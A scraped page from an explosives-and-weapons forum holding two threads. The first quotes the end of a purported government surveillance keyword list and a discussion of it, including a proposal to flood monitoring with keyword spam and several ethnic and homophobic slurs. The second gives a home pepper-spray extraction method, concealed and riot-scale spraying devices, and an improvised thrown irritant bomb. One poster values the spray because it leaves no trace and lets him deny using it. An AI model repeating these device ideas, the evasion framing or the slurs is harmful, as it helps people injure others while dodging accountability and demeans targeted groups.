nuclear-grade
null steering
nullify
nuwc
oas
oath
ocap
occoquan reservoir
octogen
octogene
octol
offence
offender
official secrets act
oil drilling
old growth
old growth redwood
ontario
ontario coalition against poverty
operation black ice
operation caribe i
operation cathedral
operation crossroads ii
operation landslide
operation marquis
operation modem
operation perfect storm
operation starburst
operation triple x
operation white horse
opgen
ophorite
opium
opsec
optask
optic
oregon wildlife federation
organization of american states
orgasm
orgy
orion
oroville
ortega
osa
osama bin laden
osmosis
osorio
ottawa
otto reich
outer wrapper
outlet
overpressure
oxandrolone
oxidation
oxide
oxidizing acids
oxycodone
oxycontin
oxymetholone
oxymorphone
oziel cardena-guillen
ozone
p3
p4
paedophile
paedophilic
pagan
pager
pakistan
palestine
Palestine Liberation Front (PLF)
Palestinian Islamic Jihad (PIJ)
panama
paragoric
PARAM GUPT
paramethoxyamphetamine
parliament
partitioning
party
passcard
passport
password
pathogen
payoff
pbx
pc-3
pcl3
pcl5
pco
pcp
peddle
pederast
pedo
pedophile liberation front
pellet powder
pelvic
pembina
penetration
penis
pennpirg education fund
pentaerythrite tetranitrate
pentaerythritol tetranitrate
pentagon
pentagon occupant emergency plan
penthrinite composition
pentolite
people of color against the war
perchlorate
perchloric acid
perimeter
perineum
peroxide
peroxides
perpetrator
peter b. teets
petn
petri
PFLP-General Command (PFLP-GC)
pgp
phallus
phenanthrene
phenyl-2-propanone
phenylethylamine
phermex
phoenix anarchist coalition
phone
phosphorous oxychloride
phosphorus-32
phosphorus-33
photographs
photography
phreak
physical security
picramic acid
picramide
picrate of ammonia
picrate of potassium
picratol
picric acid
picryl chloride
picryl fluoride
pipe
piperonal
pirate radio
pistol
plasma separation
plastic
plasticizer
platform
PLEASE READ IN SILENCE AND MAKE NO SPOKEN COMMENT.
plot
plutonium hexafluoride
plutonium oxide
plutonium tetrafluoride
plx
pneumocystis carinii
poach
pointing
poison
poland
police
political
polonium-210
polymer
polynitro aliphatic compound
polyolpolynitrate-nitrocellulose
poppy cultivation
Popular Front for the Liberation of Palestine (PFLP)
porn
pornographer
pornographic
pornography
porous
port huron
potassium chlorate
potassium dinitrobenzofuroxane
potassium fluoride
potassium metal
potassium nitrate
potassium nitroaminotetrazole
potassium perchlorate
potassium-42
potentiate
potentiating
powder
power
prague
prasert
pre-pubescent
precipitation
precursor
predator
predator project
president
pressure suits
prettyboy
prison
privy
process
procure
professor
prohibit
prohibited
project
project underground
projectile
proliferate
proliferation
promethium-145
promethium-147
propellant
proprietary
propulsion
proscribed
prosecution
protection of children act
protein
protest
proton radiography
prpt
pse
pseudo-photograph
psp
puberty
pubescent
pubic
pulse generator
pump
punish
punjab
purchase
pure water
purex
pyramiding
pyrolytic densification
pyrolytic deposition
pyroprocessing
pyrotechnic
pyx
pdagora
pdophilie
pdosexuel
qaddafi
qip
qualcomm
quantum
quathafi
qubits
quebec
queer
questionnaire
r&d
radar
radiation
radical
radical environmental group index
radioactive waste
radiological
radium
radon
RAHSIA BESAR
raid
rainforest action network
raise the fist
ralph nader
ramon eduardo arellano-felix
rand
raney
rap
rape
ratchamontri
raves
raymond w. kelly
raytheon
razor
rbi
rcmp
rdx
reaction vessel
reactor
reagent
Real IRA
rebel
reclaim the streets
recoilless
reconnaissance satellite
recovery
recovery processes
recruit
red mercury
red phosphorus
red-enclave
reduced attenuation
reduction
reentry
reflectivity
reflectometry
refugee
reichs revolver
religious
religious technology center
remington army
remington-lee
remote sensing
republican
requirements, analysis and production
reserve
reservoir
resist
restore the north woods us-canada
restricted
restricted data
revenue agency
revolution
Revolutionary Armed Forces of Colombia (FARC)
Revolutionary Nuclei (formerly ELA)
Revolutionary Organization 17 November
R e v o lutio nary P eople s Liberation Army/Front (DHKP/C)
revolver
rick ross
rifle
right-wing
rights
riot
rip
risk
ritzer
rng
roach clip
robbery
robert anthony walker
robert ma
robert s. mueller, iii
rocket
rohypnol
rolling paper
ronald d. lee
rothenberg
roundbottom flask
rounds
routledge
roxanol
royal canadian mounted police
ruggedized
russia
ruthenium-106
rwanda
rwth
s&w american
s&w model
s&w russian
S/CT
sabotage
sabri
sacrifice
saddam hussein
safety fuse
saharo-sahelian
saif al-adel
Salafist Group for Call and Combat (GSPC)
salutes
SAM NGAT BAMPHOT
samarium-151
SANGAT RAHASIA
sarin
sassafras oil
satan
satellite
saudi
SAUDI TOP SECRET
sault ste marie
save headwaters forest campaign
scam
scandium-46
scatter-reduction
sces
schedule i
schedule ii
schedule iii
sci
scientific
scientology
scif
scramdisk
scrotum
scrs
sddpd
sdi
sea shepherd
sea turtle
seabed
seal
second amendment
secrecy order
secret
secure hash
security container
security council
seduce
SEGRETISSIMO
selenium-75
self-contained diving
seminar
semiotic warfare
semtex
senator
sensitive compartmentalized information
sensitized
sensor
separation
separatory funnel
serbian
serious
serum
sex offender
sex worker
sexual
sgemp
shaver
shehata
sheikh ahmed salim swedan
shiite
Shining Path (Sendero Luminoso, SL)
shock propagation
shock sensitive
shocking nonsense
short-pulse laser
shoulder-fired
shulgin
sierra
sierra club
sigint
sigma
silex
silo
silver acetylide
silver azide
silver fulminate
silver oxalate
silver styphnate
silver tartrate
silver tetrazene
silver-110m
SINGLE INTEGRATED OPERATIONAL PLAN - EXTREMELY SENSITIVE INFORMATION
sink
sintering
sirc
SIRRI LIL-GHAXEH
slash
slo
slurried
small arm
smallpox
smart antenna
smash
smokeless powder
smuggle
sniper
social revolution
socialist
society of environmental journalists
socl2
sodatol
SODI BEYOTER
sodium amatol
sodium azide
sodium dichromate
sodium dinitro-ortho-cresolate
sodium nitrate
sodium nitrate-potassium nitrate
sodium perchlorate
sodium picramate
sodium-22
sodium-24
solicitor general
solidarity
solvent extraction
somalia
sonar
sontag
soto
south africa
south asia
southeast alaska conservation council
southern utah wilderness alliance
southwest wildlands initiative
soviet
space-based
spawar
special access program
special agent
special k
spectacle
speed
spencer
spent fuel
spin transistor
spin-dependent
spinning hotplate
spoofing
spores
spray paint
spread spectrum
sprytron
spy
squibs
ssl
stanozolol
stash
state department diplomatic pouch system
stealth
steganography
steroid
stockpile
stolen
storage container
storage reciever
storage tank
stow
strangle
strategic
streak camera
STRENG GEHEIM
STRENGT HEMMELIG
stricom
strike
strontium
strontium-89
strontium-90
struggle
student peace action network
styphnate of lead
styphnic acid
styrene
subcritical
submachine
submersible
submunition
substance
subversion
sudan
sulfamate
sulfonic acid
sulfur-35
sulfuric acid
summit
sunni
SUPER SECRETO
supercomputer
superlab
supplier
suppress
suppression
supremacist
surreptitious
surveillance
survey
survivability
suspicious
swat
sydney lewis
synthesis
SYOERSECRETO
syria
syringe
SZIGORUAN TITKOS
t4
tablet
tacot
tactical
tadmus
taiwan
takeover
taleban
taliban
tamil
tamper-indicating
tank
target design
target designation
target fabrication
targeting
tatb
tattoo
teach-in
tear
technical surveillance countermeasures service
technitium-99
technology
tegdn
telecontrol
telemetry
tellurium-127
tellurium-129
tempest
temple
terbium-160
termination
terrorist
tert-butyl hydroperoxide
testosterone
tetracene
tetrahydrofuran
tetranitro-2,3,5,6-dibenzo-1,3a,4,6a tetrazapentalene
tetranitrocarbazole
tetranitromethane
tetrazene
tetrazine
tetryl
tetrytol
thabo mbeki
the climate action network online
the wild rockies slate
the wildlands project
thebaine
thermal shock
thermonuclear
thf
thin film
THIS DOCUMENT CONTAINS NATO CLASSIFIED INFORMATION
thomas a. constantine
thoreau institute
thorium
threat assessment unit
threats
threshold
throw-weight
thulium-170
thunderbolt
tigers
timer
timor
timothy allen groves
tin-113
tin-123
tin-126
titanium
titanium-44
tmetn
tnef
tneoc
tneof
tnt
tobacco
TOI MAT
tomcat
top secret
topaz
tornado
toronto
torpedos
torpex
totalitarianism
towed
toxic
toxin
tpixels
tracking
traffic
trafficking
transfer
transform
transnational
trapped ions
treasury
treesitter
trenbolone
TRES SECRET
trial
triaminotrinitrobenzene
tridite
triethylene glycol dinitrate
triethylene glycol divinyl ether
trigger
triggered spark gap
trilat
trilateral
trilite
trimethyl phosphite
trimethylol ethyl methane trinitrate
trimethylolethane
trimethylolethane trinitrate
trimethylolthane trinitrate-nitrocellulose
trimonite
trinitro-meta-cresol
trinitroanisole
trinitrobenzene
trinitrobenzoic acid
trinitrocresol
trinitroethyl formal
trinitroethylorthocarbonate
trinitroethylorthoformate
trinitroglycerine
trinitronaphthalene
trinitrophenetol
trinitrophloroglucinol
trinitroresorcinol
trinitrotoluene
triple neck flask
tritium
tritium-gas
triton
tritonal
trojan horse
troops
trotyl
truex
tsco
tungsten
tunnel
turkey
turret
tyranny
u-238
u.s. customs service
uav
uh-60
UITERS GEHEIM
ukraine
ulster
ULTRA SECRETO
ultra wide band
ULTRASECRETO
un
unarmed
unauthorized disclosure
undercover
underground
underwater swimming apparatus
undocumented
union of concerned scientists
united nations
United Self-Defense Forces of Colombia (AUC)
united technologies
unlicensed
unregistered
uranium hexafluoride
uranium oxide
uranium tetrachloride
uranium tetrafluoride
urea ammonium nitrate
urea nitrate
usa green party network
usama bin laden
uss cole
uwb
uzbekistan
uzi
vaccine
vacuum filtration
vallejo
vanadium-48
vault
vegan
velocity
vetterli-vitali
vibration
victim
victor manuel gerena
vietnam
vigilante
viking
vinyl chloride
vinylidene chloride
violence
viral dna
virus
vladimir putin
vmebus
vulnerability
vulnerable
war
warfare
warhead
WARNING NOTICE--Intelligence Sources or Methods Involved
warrant
warrior
washington
wassenaar
water distillation
water electrolysis
water-ammonia exchange
water-hydrogen exchange
water-hydrogen sulfide exchange
weapons-grade
webly bulldog
webly mk i
webly ric
webly wilkinson
wen ho lee
wernick
west bank
western states center newsletter
wgw
whack
whatman
wheaton
white house
wilderness links
wilderness society
william b. black jr.
william m. kelly
winchester
winchester rcmp
wind tunnel
winstrol
wiretap
wiretapping
wisconsin stewardship network
witness
womyn
wonderland club
workers
world bank
world social forum
world trade center
world trade organization
world watch
wound
wreck
wtc
wto
wuhan institute of virology
www.cia.gov
www.fbi.gov
www.infoshop.org
www.nro.gov
www.nsa.gov
x-ray conversion
xanthamonas
xenon-133
xenotransplantation
yasser arafat
yellowcake
yellowstone to yukon
yemen
YEMLAZ BIRTOU MISTIR
yield
young boy
young girl
yttrium-91
yugoslavia
yukon wildlands project
ZEER GEHEIM
zemin
zero knowledge
zinc-65
zionist
zip-gun
zirconium
zirconium-93
zirconium-95
zn/hcl
zone
zoo net
Third_Rail May 5th, 2006, 12:39 AM

Is that it?
That doesn't waste anywhere near enough money, surely there's more! :D
nbk2000 May 5th, 2006, 01:11 AM

The 011 numbers are American embassies in foreign countries.
You'll notice that the words 'Chicken/Nazi/Breeders' are on this list.
THEY'RE ONTO ME!! :D
And now I have a whole list of words, some of which I've never heard of before, to check out and see what perverse use I
could put them to use for. :p

Some of those must really get tripped a lot... especially words such as "cock" "cunt" "penis" etc (yes, those are on there!).
They are, after all, the prime subject of at least half the internet. :P
I don't see how that hell they could possibly watch that many words and notice the microscopic portion of it that would be "real"
terrorist activity. Meh, bureaucracy at it's best.

I remember a discussion in a forum (was it this forum?) a long time ago. In the discussion the members were stating that
these keywords which are on watch list can be used to flood / attack echelon.
Assume that several millions of people are using the very same message containing a mixture, a combination of these words.
I believe this shall give the f*ggots in Echelon to a good middle finger. Regards
knowledgehungry May 5th, 2006, 12:26 PM

Where was this list obtained if I may ask?
I found it funny that the word Scientology is on the list, I never thought of stupid celebrities as a threat to "National Security".
I wonder how long until RogueSci is on that list ;)
FUTI May 5th, 2006, 01:08 PM

If the list float somewhere on the web please give us the link. Sometimes based on the source you can tell is it hoax or not.
P*rn sites have even higher percent in net load Chris AFAIK so I guess they have huge servers and supercomputers to track
this list or this is just "feable be scared" technique.
USE
Aikon's idea isn't bad...you make a short message using Baessian logic from that list that make it look like real letter and
using public e-mail SPAM all around. But that would strain web and I would hate that.
PARAGRAPH
If you follow wordcount link I posted before you will find that there is a link to most used words (I guess on the web)...and you
guess right s*x is No.1. That is another list (first 100 words maybe) to abuse maybe - although I would rather try to use it as
basis for my spam filter.
BREAKS
If the list Mega posted is valid then we can make their job harder...each chemical term has it's abreviation right;) or trivial
name or CAS or...you get the point. We make the counter-list and post it. If they find about it no big deal, at least we slow
them down since more search strings you add the slower they are. Or they can go around this one?
Silentnite May 5th, 2006, 03:15 PM

Don't worry folks, the government recognizes it's inability to watch all these words. Haven't you ever thought the english
language too complicated? Well the government is stepping in and combining some words, and throwing some out.
No more doublespeak please. Doublethink plus good.
It'll happen soon enough.

The list was compiled by a man named Grady Ward. Look him up on google, he is quite the interesting fella. See http://
en.wikipedia.org/wiki/Grady_Ward for a start.
I also forgot the first part of the list because I thought it was a PGP header...
Notice: the following list should be treated as if it had only

orthographic and syntactic, but not semantic, content.
(202) 324-3000
(301) 688
(313) 965-2323
(703) 808
(716) 856-7800
(907) 276-4441
(Absolutely secret)
(EXDIS)
(FGI)
(NOFORN)
(ORCON)
(SIOP-ESI)
(TS)
(TS-RD)(N)
(WNINTEL)
-----BEGIN PGP MESSAGE-----
-----BEGIN PGP PUBLIC KEY BLOCK-----
-----END PGP MESSAGE-----
-----END PGP PUBLIC KEY BLOCK-----
nbk2000 May 5th, 2006, 11:03 PM

Anything PGP'd automatically gets you on the short list, eh? Figures...
Though this makes me wonder: If the contents of PGP messages are unreadable, why bother intercepting the contents,
instead of just recording who send it to whom. Perhaps They can read it, even if they can't do it except for rare occassions,
because of the resources required?

RSA (encryption algorithm used by PGP) IS crackable (and very straightforward to crack), but the resources required are
enormous for even 1024-bit keys. 256-bit is crackable on your PC in a few hours, 512-bit messages take hundreds of
computers and distributed computing. I would imagine a 4096-bit key would take teams of military supercomputers working
for months to crack. You'd really have to do something to "earn" that kind of computing power.
So I guess when you destroy Israel NBK, you may want to get a new key :D
Chopper May 13th, 2006, 11:12 AM

All of this may lead one to wonder then, what was the point of the big shit-fight with Google? I mean if they intercept anyway,
what is the point of asking for records of people's searches?
USE
May we assume that the govt/millitary can't access these searches, or do we assume that they're too 'lazy' or 'cheap' to use
the necessary computing power.
PARAGRAPHS
I've been intrigued about this very matter ever since the story broke.
nbk2000 May 14th, 2006, 03:15 PM

Probably a case of 'why do the work, if they've already done it for us?'. :)
Get Google to hand over the info, and you've freed up resources that you would have to otherwise use covertly to do the same
task.

This list is too large to be effective, with too many common words. I could see things like a CAS number being important, or
specific chemicals, but fag, orgy, orgasm, and ear? Too broad, and they'll just get some guys weird fetish anyways. For every
possible one relevent keyword hit, they just had 10,000,000 query's for porn.
megalomania May 17th, 2006, 08:34 AM

What are 10 million queries to the NSA, the organization with the single largest budget in the government? A heuristic program
could analyze sentence structure to determine the context of rape or fag and disregard 99.9% of such sites. That still
leaves some ten thousand sites, and combining them with several thousand watch words brings us back to several million
websites. Millions of websites may be daunting to you or me individually, but big government is a team sport. You know the
old story of ten thousand monkeys clicking away at ten thousand typewriters will eventually create the greatest work ever
written? Now imagine ten thousand government lackeys toiling away in the bowels of some NSA facility, each responsible for
only several thousand websites. You put in a 40 hour week doing nothing but searching for subversive websites and I bet you
could find a lot.
For half the cost of a single stealth bomber the NSA can hire ten thousand brave men and women to troll through the seedy
underbelly of the Internet. Look how much accumulated knowledge The Forum has acquired in the last few years from only a
few thousand members, and many of those are amateurs to boot. Last time I checked the NSA hires the best and brightest.
No kewl could survive an NSA background check. I bet those NSA guys at least have to attend a seminar about how to search
on Google*. Only the government would be so monumentally wasteful to hire that many people to surf the web, but thats
what taxes are for right?
*Google loves to hire guys from the NSA, they get more than just a memo on how to search, they invented searching!

The biggest factor is how much bandwidth is used in search terms. Theres too much data, even with several OC-192 lines
using the latest DWDM systems on the same SONET ring... it's too much fucking data! It's like throwing the whole chinese
phone book at you and NBK and telling you to go interview every single "Chin", "Chan", "Chong", and "Wong" without an
interpretter, and then interviewing all of those people's friends.
nbk2000 May 18th, 2006, 03:19 AM

OT:
Supposedly, there's only 100 names in the chinese language. It's in the combinations that there is identity, but even that is
SO limited compared to others, such as english.
I'm sure the computers are looking for sentences that make linguistic sense, like "Firebomb the faggots", or "Naughty Lolita
Necrophilia". :p

OT:
Supposedly, there's only 100 names in the chinese language. It's in the combinations that there is identity, but even that is
SO limited compared to others, such as english.
I'm sure the computers are looking for sentences that make linguistic sense, like "Firebomb the faggots", or "Naughty Lolita
Necrophilia". :pAnd that right there is a shitload of CPU time to run each query through the list of badwords, and still a shitload
of bandwidth to send the packets to the computer that will be doing the analysys.
Chris The Great May 18th, 2006, 12:56 PM

Could just by their psyops at work. Release a list (accidentaly "leaking it"), some people think "oh, bad government" and then
go about their daily lives consisting of sitting in front of the TV or watching flash animations all day on the computer, the
people of real importance (not us of course ;) ) all debate about how feasible it is, come to the conclusion that it isn't, and
thus create an illusion of safety for themselves.
In the meantime, the government has a very specific system for finding stuff of real importance, which they manage to keep
secret.
They'd probably have two systems anyway, for different targets. One for "firebomb the faggots" and another for "naughty lolita
necrophilia" (hot damn :p ). I'm pretty sure there are different "divisions" or something in the FBI to find different "evildoers".
However, how often do you actually see them catch terrorists for searching/posting on the net until after the fact and they
seize their computers?
I remember reading an article on how the FBI tracks "bomb makers" and the like, basically they just have guys read forums,
google search "bomb" and stuff like that. They probably don't have ten thousand guys searching the net or anything, but I
think that actually searching forums and such on this topic would be more useful. I'll have to find it, it was the one article I've
ever seen that actually tried to understand the explosive makers... of course everyone interviewed through email for it was a
kewl, but still, it was a nice change.
Besides, I think right now they spend most of their time focused on websites in Arabic, and not so much websites like us
(unless they're idefense and there is a link on said arabic site to here).

Could just by their psyops at work. Release a list (accidentaly "leaking it"), some people think "oh, bad government" and then
go about their daily lives consisting of sitting in front of the TV or watching flash animations all day on the computer, the
people of real importance (not us of course ;) ) all debate about how feasible it is, come to the conclusion that it isn't, and
thus create an illusion of safety for themselves.
"I find your ideas interesting and would like to subscribe to your news letter."
Although, I think the idea might be just to having us waste time thinking about it.
megalomania May 22nd, 2006, 12:13 AM

I feel the government has provided us with a list of terms we should be searching for. Imagine all the wonderful websites out
there for some of these terms.
Just at random I chose cybersmuggling and found this tidbit:

The CyberSmuggling Center, located in Fairfax, Va., currently employs 38 people and is expected to soon grow to 50
employees. The center is divided into three groups. One focuses on child pornography investigations, another searches for
cybersmuggling-type activities and the third focuses on computer forensics. Many computer criminals booby-trap their
computers, Lathram said, and the computer forensics team's job is to preserve any original evidence while obtaining data from
original hard drives.
In what way do "criminals" booby-trap computers? Is that a physical destructive device, or is it some disk wiping trap?
ShadowMyGeekSpace May 22nd, 2006, 12:46 AM

Don't know, but one thing I'm looking at is the fact the list contains ecstacy, mdma, and 3,4-
methylenedioxymethamphetamine but not mda. Nor does it list dextromethamphetamine, only methamphetamine. Same with
amphetamine not having dextroamphetamine listed.
"Raves" is on there, but not psilocybe, psilocybin, amanita muscaria, shrooms, mushrooms, DMT, 5-MeO-DMT, or any other
psychedelic assosiated with raves, with the exclusion of LSD, however LSD-25 is not on there.
This list is a peice of shit, it's padded with useless words, and words that should be included based on being related to others
in the list are left out. If the government WAS watching these words (Which, like I said, I'm sure it's watching CAS searches
and stuff), it would be a much more relevant, specific list. It's databases 101.
Jacks Complete May 24th, 2006, 08:05 PM

Shadow, what you don't seem to get is that the NSA or whoever don't give a damn how much it costs, as it is all "other
people's money".
In the UK, everything I send or receive to my PC is logged by the ISP for three months. It's the same for *every single
person*. Every data packet into or out of the UK. The government mandated this a while back. Recently, MI5/6 (don't recall
which) and Special Branch (the anti-terror asshole police) called for it to be increased to 6 years! They can then do traffic
analysis on this.
Can you imagine how many harddisks a day that is? Just for me, I pull down 3Mb a day of DNS and misc other data, just from
surfing, excluding actual downloads. When you pull a torrent down from 300 IPs, they get logged, too, as do any proxies you
connect to. The list of sites/URLs per day is hundreds of millions across the country. But they keep it all. Oh, and if your ISP
tipped you off that the police had taken a look, they would be unable to even tell their own lawyers without the serious
prospect of jail time!

In the UK, everything I send or receive to my PC is logged by the ISP for three months. It's the same for *every single
person*. Every data packet into or out of the UK. The government mandated this a while back. Recently, MI5/6 (don't recall
which) and Special Branch (the anti-terror asshole police) called for it to be increased to 6 years! They can then do traffic
analysis on this.
Correction: every SYN packet and UDP packet is recorded, not the whole conversation of data.
Shadow, what you don't seem to get is that the NSA or whoever don't give a damn how much it costs, as it is all "other
people's money".
And I don't care about how much it costs, because thats not the issue. The issue is the bandwidth required to move it off site
and record it. the NSA's tap was a small server room at AT&T's places, but they only sniffed specific data. Why? Because it's a
shitload of bandwidth to record all the data, even if they had a huge array of SATA drives in RAID0, they couldn't do it. If they
had the ability to, they would listen to everyone. But currently, they don't. They have to set specific pcap filters.
FUTI May 25th, 2006, 12:24 PM

list contains ecstacy, mdma, and 3,4-methylenedioxymethamphetamine but not mda. Nor does it list
dextromethamphetamine, only methamphetamine. Same with amphetamine not having dextroamphetamine listed.
This list is a peice of shit, it's padded with useless words, and words that should be included based on being related to others
in the list are left out. I'm sure it's watching CAS searches and stuff, it would be a much more relevant, specific list. It's
databases 101.
mda is too short and if they use search with ? * or other similarity search approaches mda will give too many hits that will log
too many irrelevant data. This can explain why they list methamphetamine since search with *methamphetamine will find the
word you assume it was left out. I also find CAS much better and easier for search purposes but aside chemists who will know
that and how to find it and use it...but having in mind that there is almost equall number of employed and unemployed
chemists (12/10 IIRC) that can change.

mda is too short and if they use search with ? * or other similarity search approaches mda will give too many hits that will log
too many irrelevant data. This can explain why they list methamphetamine since search with *methamphetamine will find the
word you assume it was left out. I also find CAS much better and easier for search purposes but aside chemists who will know
that and how to find it and use it...but having in mind that there is almost equall number of employed and unemployed
chemists (12/10 IIRC) that can change.So mda is too short, but fag, ear, wtc, red, eff, caa, fbi, fcc, nsa, cia, nra, mek, mi5,
mi6, mi7, b&d, ct, gun, gph, gps, 747, dci, dea, fxr, g8, doe, dnd, cut, fsf, fxr, ins, php, pcp, uzi, war, etc etc are long enough?
Righttt.
FUTI May 26th, 2006, 12:12 PM

I have allways assumed that words like FBI, CIA etc. they will look as all caps or they won't include * (search exact phrase
option). I believe they do it. It may be a waste of government money to some extent, but smart use of social/linguistic
investigation will give most frequent words to look upon.
For example in case of crackdown this site have very good chance to disappear in the thin air. I know the guys who run it will
find a free net space to reopen the forum, under a new name they will have a problem to locate it right away, but if they can
snoop for a specific word trail those blood hounds will eventually find it. We wouldn't try to hide our activity unless there is a
major sh*t going on as our current policy is to be a weapon of mass instruction and that is hard if you hide yourself deep
underground. They develop tools to find the bad guys and that isn't bad, but I'm much more concerned about who makes the
judgement who is good or bad as in that case it will make a lot of difference on whom they will use those tools.
30yearstoolate! August 15th, 2006, 04:49 PM

This list includes massive amounts of data. BUT... Think about how advanced our systems have become in the past several
years.
The US government had this processing power in the early 1990's. Along with other governments. They have processing power
at least 100 times more powerful [than the average personal computer] in most post offices, police stations, and hospitals.
This is because of the networking.
Think of the number crunching ability of supercomputers of the government. What they dont tell you is how much they know.
Which is a lot more than us.
Personally I doubt the ability to watch everything all at once but I do believe that most of it is getting watched.
An example is the terrorists recently thwarted in the UK that couldn't have been done without some hacking. The problem is
the majority of us (as NBK says: ) "sheep":D either dont know or dont care about the abilities of our governments.
Sausagemit August 16th, 2006, 11:38 PM

I should send this entire list of words to my brother who is currently on the USS Enterprise.
I wonder how pissed off his CO would get because they have to censor incoming and outgoing e-mails for illicit and sensitive
material.
Me and him were talking about him becoming an EOD and I mentioned making RDX out of simple household items. When he
got the e-mail the "RDX" was turned into "***".

Compare and contrast our governments number crunching ability with societies increasing quantity of numbers to crunch. I
think the volume of new data has far exceeded the increase of processing power, yes? Moores law has stagnated in the past
few years. Neither Intel nor AMD has released a 4GHz retail processor (I say retail stock speed, I know you can overclock
them). Clock speeds have stagnated because they are designing smarter processors, not brute force ones. It costs roughly
twice as much to build a fab plant for a processor that is twice as fast as the previous generation. Now that fab plants cost into
the billions, they no longer have the financial incentive to build faster processors quite so fast.
Now, the amount of data follows no such restrictions. With P2P traffic, streaming video, voice and text chat, and all the little
pickaninnies in 3rd world countries getting cheap computers, data traffic is staggering. What will happen if Skype imitation
appz take off and billions start using voice traffic, encrypted by default I might add? Every new hacker trick underscores the
need to use encryption in daily use. What if every app starts enabling encryption be default?
Ignore the conspiracy theory that the government has backdoors into every encryption product. Maybe the government can
brute force their way into some of these encryption products, but at what cost? Analyzing open text is one thing, but try that
with video and audio, and encrypted content.
For the government it is a game of catch up. When faster computers will not cut it, you build bigger ones. AMD was just
awarded the contract to supply the processors to Cray to build the worlds largest supercomputer. http://investors.cray.com/
phoenix.zhtml?c=98390&p=irol-newsArticle&ID=873357&highlight=
For the same $200 million they spent on the computer to be spent upgrading data traffic for ISPs could add millions of
customers.
Misanthropologist August 30th, 2006, 01:51 PM

The primary searching would be done by computer programs searching for three or four instances of said words or certain
combinations, then the massively shortened list is probably run through a syntax/context checker. If you really think they're
using some google-type engine you're horribly mistaken. They've got the best and brightest zombies willing and able to
create much more sophisticated systems. The short list is then checked by human eyes, and most of these, too, are probably
dismissed.
The remainder, e.g. me, you, and probably everybody else here, go to the hotlist.
Bandwidth isn't an issue, they have the resources and won't hesitate to waste them on us. Control is their #1 priority. No
matter how anonymous you think you are online-they know who and where you are.
A side note: OH SHIT! I pretty much figured I was on the list somewhere but if this is THE list I have probably typed in 80% of
these watchwords, usually in the types of context they'd look for. I'd better not try and board a plane anytime soon! Might wind
up in Guantanamo!

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Pepper spray deployment
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Heat May 5th, 2006, 07:35 AM

With some research, I figured out how to make my own commercial or police grade pepper spray agent.
I can make the actual solution, but my problem is deployment! I need an effective way to actually spray it. I considered using an empty can of hair spray or whatever, filling it
with the solution, and pressurising with butane, but the problem is that the valves on these cans are tiny and don't spray nearly far enough to be useful.
The only effective thing I can think of is a watergun, which looks both stupid and suspicious.
Can anyone here suggest anything?
tomu May 6th, 2006, 10:19 AM

There are reusable spray bottles on the market, try workshop suplliers or dealers who sell air compressors and/or spray guns for paint work.
These spray bottles can be filled by unscrewing their valves, fill in whatever you want and screw the valve back on. Turn the spray bottle around and pressure rize it through
the kind of tire valve that's in the bottom.
nbk2000 May 6th, 2006, 09:05 PM

What size are you looking to spray from?
A small pocket sprayer for anti-mugger? Or a riot size for dispersing a crowd?
Slinger May 6th, 2006, 11:24 PM

Heat:
For anti-mugger purposes, one of Kurt Saxon's ideas (if it was indeed his idea) was to use the antihistamine or saline spray type nose spray bottles.
Simply give the bottle a squeeze, dip the nozzle in your acrolein, or whatever you're using, and release the pressure on the bottle, thus drawing the liquid into the bottle.
Although this might not give you the range you desire, at point blank, your attacker would recieve a faceful. :eek:
The more important issue in my opinion is not the delivery device, but getting it out and ready, and using it, all while being attacked.
As for the riot-dispersal type, does anyone remember when high-pressure washers, like those used to wash buildings and such, had their own water tank with pump? Or maybe
they still make them like that for big jobs.
With enough spray-dope, one could keep a crowd held off for some time, using a system like this.
As an afterthought, I used to use a back-mounted, pump-up sprayer to apply fly repellant to cattle. A similar product can be found here, if anyone is interested:
http://shop.doitrightonline.com/item.asp?pid=20
Using a sprayer like this seems like something out of a zombie flick, though.
(Was it too late to edit my post? If so, apologies.)
noz May 9th, 2006, 08:44 AM

My thoughts on this are buy a motorcycle or bicycle repair inflator, those units often have trigger pressure release of the CO2, you can make a plastic bottle to fit onto it and an
outlet, does,nt have to be precisely made as the gush of CO2 will drag up any liquid with it even if just a hole in outlet let leads to a separate bottle, sorry would be easier to
draw it. Can also use NOZ(nitrous oxide) carts in some bike pumps depends on thread or if push fit.
Could also use this liquid of yours as a bomb using a CO2 generating powder, not much of chemist and have forgotten the names of chemicals but are readily available. All you
do is put in weak plasic bottle, so is basically water, CO2(or O2) generating agent, and teargas liqiud in condom or something similar. Just throw it and wallop!.
Good luck...

Heat, would you mind sharing the recipe for the spray? Also, super soakers are good for crowds. ;)
Heat May 21st, 2006, 11:14 AM

Tomu's paint can idea was a good idea, I didn't know you get those. The only problem was that the only things I could find were very big!
NBK: I want it for anti-mugging, and anti-group-of-assholes.
The medicine spray bottles are also a great idea, but they don't spray far, and would only hold enough for maybe 1-2 people. But very inconspicuous, and you could carry 2-3.
I found a nice solution: A small spray bottle, similar to the type used for spraying window cleaner. I found some that are very small, quite capable of being carried easily in the
inside pocket of a jacket. They can spray quite a bit despite their small size; easily up to 5-6 feet.
Heat, would you mind sharing the recipe for the spray?
Sure, I'm just using straightforward OC, just like in commercial pepper spray. OC is oleoresin capsicum, it's an oil found in jalapenos, chili peppers, etc. It is the irritant
responsible for the "hotness" of peppers; it fools your heat receptor nerves into reporting a lot of heat.
OC dissolves in alcohol. So what I do is, take some ground red pepper powder (I get it here in supermarkets), and dump it into alcohol. I let it mix for a while, and then filter
the powder. You are left with a red-orange solution.
My only problem is with controlling the concentration of OC. I believe commercial pepper sprays use 10-20% (I wouldn't really know very much, because they're not available
here!) One idea I had was to let the alcohol evaporate until I had pure OC, and then dilute it to the desired concentration.
The good thing about OC, is that it's very effective, even on people who are insane, on drugs, or otherwise unable to feel pain, because it also affects the eyes and breathing.
The other advantage is that it's nonlethal, and leaves no trace, so it's much easier to escape getting in trouble for using it! Not so for acid, or acrolein. In fact, in some
circumstances, I might even get away with denying that I sprayed anything at all, since it leaves no visible proof.
++++++
The lemon juice containers that look like lemons (or limes) are very good for this sort of thing. They carry enough for a dozen hefty squirts, and have good range.
NBK
Alexires May 23rd, 2006, 12:25 PM
For concentration issues and chemical stuff, look here (http://en.wikipedia.org/wiki/Capsaicin) and here (http://en.wikipedia.org/wiki/Scoville_scale).
Anyone knowledgable in the synthesis department have an idea how to make Capsaicin or Dihydrocapsaicin?
Also here (http://www.chm.bris.ac.uk/motm/chilli/analysis.htm) gives the procedure used to extract the active ingredient in preperation for High Performance Liquid
Chromotography.
"HIGH YIELD METHOD:

if you have a collidal mill, mix the dried peppers with the oil of choice
set the chilller to keep the oil below about 160F and let it grind for a
